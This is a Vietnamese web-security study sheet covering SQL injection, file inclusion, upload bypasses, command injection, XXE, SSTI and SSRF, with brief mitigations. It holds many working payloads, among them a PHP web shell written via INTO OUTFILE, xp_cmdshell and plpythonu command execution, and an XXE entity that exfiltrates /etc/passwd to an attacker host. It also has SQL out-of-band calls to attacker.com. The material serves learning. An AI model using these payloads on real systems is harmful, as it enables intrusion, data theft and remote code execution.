---
# System prepended metadata

title: NOTES for LEARNING

---

# NOTES for LEARNING

##### Notes for learning each vulnerability and research:

## 1. SQL:
### Overview:
- Là một kỹ thuật tấn công vào hệ thống cơ sở dữ liệu.
- **Bản chất**: SQL injection là việc hệ thống bị *nhầm* tưởng giữa *untrusted data* thành *queries*.
### Impact:
- Đánh cắp, thay đổi, kiểm soát dữ liệu.
- **Highest impact**: RCE, priviledge escalation.
### Techniques:
#### SQL Map: sqlmap =>
- *-u*: URL, url sẽ có param để sqlmap vào kiểm tra.
- *-dbs*: liệt kê databases.
- *-D <database_name>*: truy cập vào database có tên đó.
- *--tables*: liệt kê các table trong database được chọn.
- *--columns*: liệt kê các cột.
- *--dump:* trả ra toàn bộ thông tin trong bảng (cột, database) được chọn.
- *--data="{data}"*: sử dụng trong POST để gửi thông tin qua method.
- *--random-agent*: sử dụng user agent khác có thể bypass waf.
- *--cookie="{cookie}"*: sử dụng khi lỗi trong cookie.
- *--level={x}*: càng cao test nhiều input tại nhiều chỗ.
- *--risk={x}*: càng cao test nhiều payload hơn.
- *--os-shell*: tấn công RCE.

#### In-band:
- Error-based: dựa vào lỗi trả về khi gặp lỗi thực thi query để xác định.
- Union-based: sử dụng toán tử UNION để kết hợp hai hay nhiều SELECT cùng lúc. (chú ý: cần có cùng số lượng cột, nếu ko đủ có thể sử dụng null)
```
cn' UNION SELECT 1, user(), 3, 4-- -
cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -
```
#### Out-band
- OOB: gây cho app gửi data đến 1 endpoint khác, remote. Một vài ví dụ.
- Trên MS server:
`SELECT * FROM abc WHERE id=1;EXEC master..xp_dirtree '\\test.attacker.com\' --` 
- Oracle:
`SELECT * FROM abc WHERE id=1||UTL_HTTP.request('http://test.attacker.com/') --`
#### Blind
- Blind SQL là trường hợp ứng dụng không hoàn toàn trả về kết quả thực hiện query.
    - Boolean-based: thông qua các error có điều kiện, như sử dụng CASE.
```xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a```: False trả về 'a'
`xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a`: True => lỗi 1/0
    - Time-based: dựa vào độ trễ trả về response.
    `'; IF (1=2) WAITFOR DELAY '0:0:10'--`
    `pg_sleep(10)--`
    - Error-based
    - Binary Search brute force, brute force để chia nhỏ lại vùng cần bruteforce:
    `?id=x' AND SUBSTRING(database(),1,1) < '<char>' -- -`
#### Functions + Others:
- Tìm người dùng trên DB:
    ```
    SELECT USER()
    SELECT CURRENT_USER()
    SELECT user from mysql.user
    ```
- Truy xuất quyền:
    ```
    SELECT super_priv FROM mysql.user
    x' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -
    ```
- Đọc nội dung file, source code:
`SELECT LOAD_FILE('/etc/passwd');`
- **RCE**:
    - SQLITE *load_file*: nếu thực thi được sẽ truy xuất được SSH key.
    `' UNION SELECT load_file('/.ssh/id_RSA') #`
    - MSSQL *xp_cmdshell*: thực thi lệnh
    `' EXEC xp_cmdshell 'whoami'; -- -`
    - MYSQL *UDF*: User Defined Functions, tự code và tự gọi hàm của mình. Nhưng chỉ ở vài phiên bản về trước:
        - Tạo 1 file nguye hiểm với nội dung code là 1 hàm định nghĩa bởi kẻ tấn công.
        - Upload lên server, và gọi thông qua lệnh, gán chuỗi 'system' với hàm được định nghĩa trong file .so:
    `create function system returns integer soname 'filename.so';` 
    `SELECT system('whoami');`
    - PostgreSQL Extensions: Nếu có quyền (privileges), có thể tạo 1 extension để thực hiện việc RCE.
        - Dòng 1: tạo function exec_cmd, nhận biến cmd.
        - Giữa $$: block code, code python
        - Dòng 3: xác định để hàm sử dụng plpythonu, cho phép thực thi code python trong Postgres.
        ```
        CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
        import os
        os.system(cmd)
        $$ LANGUAGE plpythonu;
        ```
    - Oracle java Procedures: cho phép sử dụng Java, cho phép chạy Java cùng với SQL. Nếu đủ quyền, kẻ tấn công có thể chèn vào DB.
    ![image](https://hackmd.io/_uploads/S1kjqz95ke.png)
    ![image](https://hackmd.io/_uploads/SkwUTz55Jl.png)
    ![image](https://hackmd.io/_uploads/r1mD6M59kl.png)


- Bypassing filters:
    - URL encode.
    - OR operator để bypass (ex:or 1=1).
    - Using comments.
- Write file:
`SELECT ... INTO OUTFILE '...'`
`SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';`
`
cn' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -
`

#### MSSQL Procedure:
- Procedure là loại `prepared statement` SQL với chức năng có thể dùng lại được.
```
CREATE PROCEDURE procedure_name
AS
sql_statement
GO; 
```

- Thực thi bằng cách: `EXEC procedure_name;`
- Exploitation:
    - Ta có thể thu về các procedure:
        - Basic
    ```
    SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
    FROM MASTER.INFORMATION_SCHEMA.ROUTINES
    ORDER BY ROUTINE_NAME
    ```
    \
        - Tìm dựa trên 1 gì đó, vd tại đây là WITH EXECUTE AS:
    ```
    SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
    FROM MASTER.INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION
    LIKE '%WITH EXECUTE AS%'
    ORDER BY ROUTINE_NAME
    ```
    \
        - Dynamic SQL:
    ```
    SELECT ROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION
    FROM MASTER.INFORMATION_SCHEMA.ROUTINES
	WHERE ROUTINE_DEFINITION like '%WITH EXECUTE AS%' AND
	(ROUTINE_DEFINITION like '%sp_executesql%' OR
	ROUTINE_DEFINITION like '%sp_sqlexec%' OR
	ROUTINE_DEFINITION like '%exec @%' OR
	ROUTINE_DEFINITION like '%exec (%' OR
	ROUTINE_DEFINITION like '%exec(%' OR
	ROUTINE_DEFINITION like '%execute @%' OR
	ROUTINE_DEFINITION like '%execute (%' OR
	ROUTINE_DEFINITION like '%execute(%' OR
	ROUTINE_DEFINITION like '%''''''+%' OR
	ROUTINE_DEFINITION like '%'''''' +%')
	ORDER BY ROUTINE_NAME
    ```
    
    - Injection:
        - Comment: `EXEC MASTER.dbo.sp_sqli 'master''--'`
        - Sử dụng another user: `EXEC MASTER.dbo.sp_sqli 'master'';SELECT ''INSIDE SP USER: ''+SYSTEM_USER as executesp--'`
        - RCE: `EXEC MASTER.dbo.sp_sqli 'master'';EXEC master..xp_cmdshell ''whoami''--';`


## 2. LFI - Local File Inclusion:
### Overview:
- Là lỗi mà trả về nội dung file (hoặc thực thi) do truy cập trái phép trên hệ thống.
- Dấu hiệu để nhận biết rằng trang web có thể tấn công file inclusion là đường link thường có dạng php?page=,hoặc php?file= ... (ví dụ)
- Nguyên nhân gây ra lỗi này là khi sử dụng các lệnh trên, lập trình viên lại gọi các file cần mở thông qua biến.
- Root cause: Untrusted data rới vào hàm xử lý những tập tin, đường dân.

### Impact:
- RCE.
- Cross Site Scripting Attacks (XSS)
- Lộ thông tin, thay đổi, kiểm soát file, ...
### Techniques:
- Basic LFI: ta kiểm soát được nội dung của param language
`http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd`
- Path traversal:
`http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd`
- Bypassing file prefix: thêm vào / ở trước path traversal.
- Bypass bằng các cách như:
```
..././
....\\/
....\\/
URL Encode
```
- Với các version:
    - Trước 5.3: có thể sử dụng truncate, đoạn sau sẽ bị xóa và trả về /etc/passwd:
    ![image](https://hackmd.io/_uploads/ByfI4-icye.png)
    - Trước 5.5: sau null byte sẽ bị remove, trả về etc/passwd
    ![image](https://hackmd.io/_uploads/B1X_HZoq1e.png)


##### Chú ý:
- Path Traversal và LFI khác nhau ở việc, Path Traversal cho hép truy cập trái phép và và đọc, trả về nội dung của file mà ta đọc, trong khi đó LFI sẽ y hệt, nhưng thêm khả năng thực thi file nếu khả thi.
- Tùy vào context, ta có thể:
    - READ: readfile()
    - WRITE: file_put_contents()
    - DELETE: unlink()
    - RCE: include()

### Biến thể RFI - Remote File Inclusion
- RFI cho phép tin tặc include và thực thi trên máy chủ mục tiêu một tệp tin được lưu trữ từ xa. Tin tặc có thể sử dụng RFI để chạy một mã độc trên cả máy của người dùng và phía máy chủ.
- *Ví dụ*:
`$test = $_REQUEST[“testfile”];Include($test.”.php”);`
- Tấn công có thể cung cấp:
`www.victim_site.com/abc.php?test=https://www.attacker_site.com/attack_page`
- Trong JSP, trường hợp này cũng có thể xảy ra, ví dụ:
`<c:import url="<%= request.getParameter(“test”)%>">`
- Ta có thể đánh cắp cookie:
`www.victim_site.com/abc.jsp?test=https://www.attackersite.com/stealingcookie.js`
### Khắc phục:
- Kiểm soát đầu vào, blacklist các ký tự, whitelist đường dẫn cho phép.
- Giới hạn API cho phép việc include file từ một chỉ mục xác định nhằm tránh directory traversal.

## 3. File Upload:
### Overview:
- Một chương trình cho phép tải lên các file không kiểm soát, dẫn dến việc có thể tấn công server backend.
- Rủi ro sẽ đến với đối tượng xử lý untrusted file.
### Impact:
- Cao nhất: RCE
### Techniques:
- Content-Type: xác thực kiểu file thông qua header Content-Type, giá trị ta có thể kiểm soát.
- File name:
    - Case 1: check extension:
        - Chỉ check extension cuối của tên file, có thể sử dụng `filename.php.jpg`
    - Case 2: blacklist extension:
        - Loại bỏ, remove các đuôi không hợp lệ, có thể sử dụng `filename.phphpp`
    - Case 3: whitelist extension:
        - Với các version trước 5.3.4, thì ta có thể thêm null byte, ví dụ: `filename.php%00.jpg`
    - Case 4: không kiếm tra file name:
        - Server không kiểm tra tên file, ta có thể kiểm soát tên file, có thể cho ta ghi đè file, hoặc ghi sang các folder khác do *Path Traversal*.
    - Case 5: sử dụng command:
        - Giả sử ứng dụng xử dụng command để xử lý file, với không có bảo vệ cho tên file, thì ta có thể kiểm soát tên file dẫn tới RCE.
- Check magic byte header:
    - Magic byte là một giá trị nhận dạng đặc biệt được sử dụng ở đầu của một file hoặc một đoạn dữ liệu để xác định định dạng hoặc giao thức của nó.
    ![imageimage](https://hackmd.io/_uploads/SyIEbfn5kl.png)
- Bypass extension with Web Server Apache:
    - .htaccess là một file cấu hình phân tán được sử dụng bởi máy chủ web Apache để quản lý và kiểm soát các thiết lập ở mức thư mục. Tên gọi .htaccess là viết tắt của "Hypertext Access
    - Apache cho phép người dùng tự tuỳ biến cấu hình Web mà không phải khởi động lại máy chủ thông qua file .htaccess. Ví dụ, câu lệnh bên dưới sẽ xử lý các file có extention *.lmao* thành *.php*:
    `AddHandler application/x-httpd-php .php .lmao`

- Các lỗ hổng về upload xử lý file trong PHP cũng có khả năng bị dính **Race Condition** dẫn đến việc upload shell.
    - Ví dụ: 1 chương trình cho up 1 file, xử lý nó và remove nếu nó ko hợp lệ. (Có kiểm qua các trường hợp, có vẻ như nó được thực hiện khá nhiều thông qua hàm move_upload_file(). Đơn giản đây là thực hiện việc up file temp lên, sau đó check và sẽ trả lại kết quả.)


## 4. Command Injection:
### Overview:
- Là loại lỗi nguy hiểm nhất.
- Câu hỏi:
    - Bản chất: hệ thống hiểu nhầm user input thành command.
    - Cách khai thác: nối dài khiến thực thi nhiều instructions.
    - Instructions cụ thể là: là command của OS (Window, Linux)
    - Với một vài feature, buộc developer phải truyền thông tin người dùng nhập vào OS command xử lý.
        - system()
        - exec()
        - passthru()
        - ...
### Impact:
- Hậu quả: RCE
- Mỗi OS sẽ có command injection khác.
### Techniques:
- `command1 ; command2`: chạy command2 khi kết thúc command1.
- `command1 | command2`: chạy command2 nếu command1 thất bại.
- `command1 || command2`: output của command1 là input của command2.
- `command1 && command2`: chạy command2 nếu command1 thành công.
- `command1 & command2`: chạy song song 2 command.
- Outbound, ta có thể sử dụng lệnh `curl` để gửi data đến server nào đó để ta có thể đọc data.
- Output ra 1 file nào đó trên server để đọc, thường sẽ trong folder `static`.
- Có thể xảy ra ở nhiều nơi:
    - File upload
    - Deserialization
    - SSTI
    - XXE/XML
- Các loại:
    - Common
    - Blind:
        - Time-based: time delay,...
        - File-based: write command to file, output to file,...
- Cách ngăn chặn:
    - Kiểm soát user input chặt chẽ
    - Principle of least privilege: cung cấp quyền tối thiểu cho ng dùng để thực hiện 1 việc.
    - Kiểm tra sp trước khi publish.

## 5. XXE - XML:
### Overview:
- XML là eXtensible Markup Language. Là ngôn ngữ để lưu trữ và vận chuyển, khác với HTML ở việc nó dùng để trình bày dữ liệu. Không có predefined tag.
- XML external entity injection:
- Về XML:
    - Internal Entity: `<!ENTITY entity-name "entity-value">`
    - External Entity: `<!ENTITY entity-name SYSTEM "URI/URL">` or `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
### Impact:
- Lộ các thông tin, nội dung các file được đọc.
- RCE:
    - Dựa trên `EXPECT` wrapper: với các system ko được set up kỹ càng, có thể sử dụng `expect://` để thực hiện RCE:
        ![image](https://hackmd.io/_uploads/rktiDwVoyl.png)
        ![image](https://hackmd.io/_uploads/rkaOdvEs1e.png)
        - Nếu v kẻ tấn công có thể thay đổi từ `file://` thành `expect://<command>` để thực hiện RCE.
- Ảnh hướng đến hệ thống.
- SSRF
### Techniques:
- Đọc file:
    ```
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <stockCheck><productId>&xxe;</productId></stockCheck>
    ```
- SSRF:
`<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>`
- Parameter entities: Nó giúp tái sử dụng các đoạn nội dung hoặc cấu trúc trong DTD, giúp viết DTD ngắn gọn và dễ quản lý hơn. Khác với General Entity (thực thể chung, dùng trong nội dung tài liệu XML), Parameter Entity chỉ được sử dụng bên trong DTD, sử dụng bằng cách thêm vào %.
`<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> %xxe; ]>`
- Out-of-band (OOB):
    - Extract a file:
    ```
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
    %eval;
    %exfiltrate;
    ```
        - `% file` trỏ đến `/etc/passwd`
        - `% exfiltrate` sẽ trỏ đến URL file tham chiếu tới `% file`, với `% eval` sẽ tham chiếu tới `exfiltrate`
        - Gọi tới `eval` truy cập, sau đó gọi tới `exfiltrate để tham chiếu`
    - Error-based:
    ```
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
    ```
    - Xinclude: cho phép reference external file thông qua  include từ XInclude, thông qua nó ta có thể include được và trả về nội dung file
    ```
    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/></foo>
    ```
    - Upload file svg:
    `<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
`
### Mitigation:

## 6. SSTI - Server side template injection:
### Overview:
- Server-Side Template Injection – SSTI là phương án tấn công dựa vào template syntax, dựa vào việc chèn các payload độc hại vào cái template từ đó thực thi payload ngay trên phía server.
- Template hoạt động dựa vào template engine. Engine này đóng vai trò tổng hợp các yếu tố cố định trên template với các dữ liệu được đưa vào tại thời điểm đó để render lên trang web.
- SSTI attack sẽ xuất hiện khi dữ liệu nhập liệu của người dùng được kết hợp trực tiếp vào template thay vì đẩy vào như dữ liệu đơn thuần.
### Impact:
- Data exposure.
- RCE (highest).
### Techniques:
![image](https://hackmd.io/_uploads/rJVcF5Vs1g.png)
- ***Detect***: giai đoạn fuzzing, thử gửi vào chuỗi các ký tự đặc biệt (ví dụ như ${{<%[%'”}}%\) thường dùng của các **template expression**.
	- Context:
	    - Plaintext: là context cho phép nhập thuần, và truyền 	vào template thẳng thông qua *html tag* hay *template 	syntax*: `render('Hello ' + username)`
	    - Code: dữ liệu đưa vào sẽ được đẩy vào trong template 	expression.
	    ```
	    greeting = getQueryParameter('greeting')
	    engine.render("Hello {{"+greeting+"}}", data)
	    ```
- ***Identify***: giai đoạn xác định hướng tấn công. Giai đoạn này sẽ nhận diện template engine để tấn công. Ta có thể fuzz, hoặc dựa vào error khi thực hiện 1 *syntax error*.
![image](https://hackmd.io/_uploads/HkCZmrSj1x.png)
- ChatGPT tổng hợp:  
![image](https://hackmd.io/_uploads/HyK2LHHiyx.png)

- Case Study:
    - FreeMaker: có feature cho phép người dùng upload template. 1 application có thể setting sai dẫn đến việc người dùng không có quyền quẩn trị có thể update => RCE
    ![image](https://hackmd.io/_uploads/ByUhJ9HoJx.png)
    ![image](https://hackmd.io/_uploads/HJnCJ5Hjke.png)
    `<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("<cmd>") }`
    - Handlebars:
    ![image](https://hackmd.io/_uploads/B1X6d0Si1x.png)
        - This template engine also vuln to **LFR**, which allows attacker to read content of any files. ` "layout": "./../routes/to/file"`
### Mitigation:
- Hạn chế quyền chỉnh sửa hoặc tạo mới template
- Hạn chế sử dụng các template engine thực thi code logic
- Filter, lọc, sanitize, hạn chế,...

## 7. SSRF:
### Overview:
- SSRF là dạng lỗ hổng cho phép attacker dụ dỗ server-side application “vô tình” thực hiện request nằm ngoài chủ đích.
- Dẫn đến server thực hiện kết nối đến khu vực chạy các chức năng nội bộ của hệ thống, đến các hệ thống khác có liên kết với server hoặc kết nối đến hệ thống bên ngoài.
- Ở đây, có thể là tấn công vào localhost, hoặc các máy trong cùng 1 mạng, các hệ thông có kết nối với server.
### Impact:
- Data exposure.
- DDoS.
- RCE.
- Thực thi các chức năng ngoài quyền.
### Techniques:
- Bypass blacklist:
    - Có nhiều cách bypass:
    ![image](https://hackmd.io/_uploads/BkihoQwo1e.png)
    ![image](https://hackmd.io/_uploads/SkuEpQvikg.png)
    ![image](https://hackmd.io/_uploads/Sy3AxEvs1e.png)
    ![image](https://hackmd.io/_uploads/BJjyWEvo1x.png)
    
    - Domain DNS wildcard:
    ![image](https://hackmd.io/_uploads/HyFe-EDiyx.png)
    
    - Redirection, ta có thể host 1 server và chuyển hướng nó tới server backend.
    - Ta có tool:  GitHub – vysecurity/IPFuscator: IPFuscator – A tool to automatically generate alternative IP representations.
    -  White list: ta có thể lợi dụng lỗi ở URL parsing
        -  1 URL bao gồm các thông tin sau, dựa vào URL parsing engine mà ứng dụng xài ta có thể fake URL, ta cx có thể double url encode các ký tự đặc biệt:
        ![image](https://hackmd.io/_uploads/HkrN8luiJe.png)
        ![image](https://hackmd.io/_uploads/rksGDldoyg.png)
### Mitigation:
- Áp dụng kết hợp các biện pháp ngăn chặn lỗ hổng SSRF như blacklist-based, whitelist-based, block IP có dấu hiệu lạ, ...
- Ngăn chặn các wrapper không cần thiết, chẳng hạn file://, gopher://, ftp://, ...
- Kiểm tra và lọc URL đầu vào
- Hạn chến quyền truy cập
- Sử dụng WAF
- Mã hóa thông tin quan trọng

## 8. DEBUG:
### How to set up with each language:
#### PHP:
- Sử dụng XDebug.
- Set các đoạn mã trong php.ini:
```
        zend_extension = /path/to/xdebug.so
        xdebug.mode = debug
        xdebug.start_with_request = yes
        xdebug.client_host = 127.0.0.1
        xdebug.client_port = 9003
```

#### Python:
- Sử dụng **pdb** để thực hiện debug local.
- Sử dụng **debugpy** để remote debug:
![image](https://hackmd.io/_uploads/HkwGZuKXee.png)

#### Java:
- Sử dụng lệnh khi thực hiện debug:
```
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
```


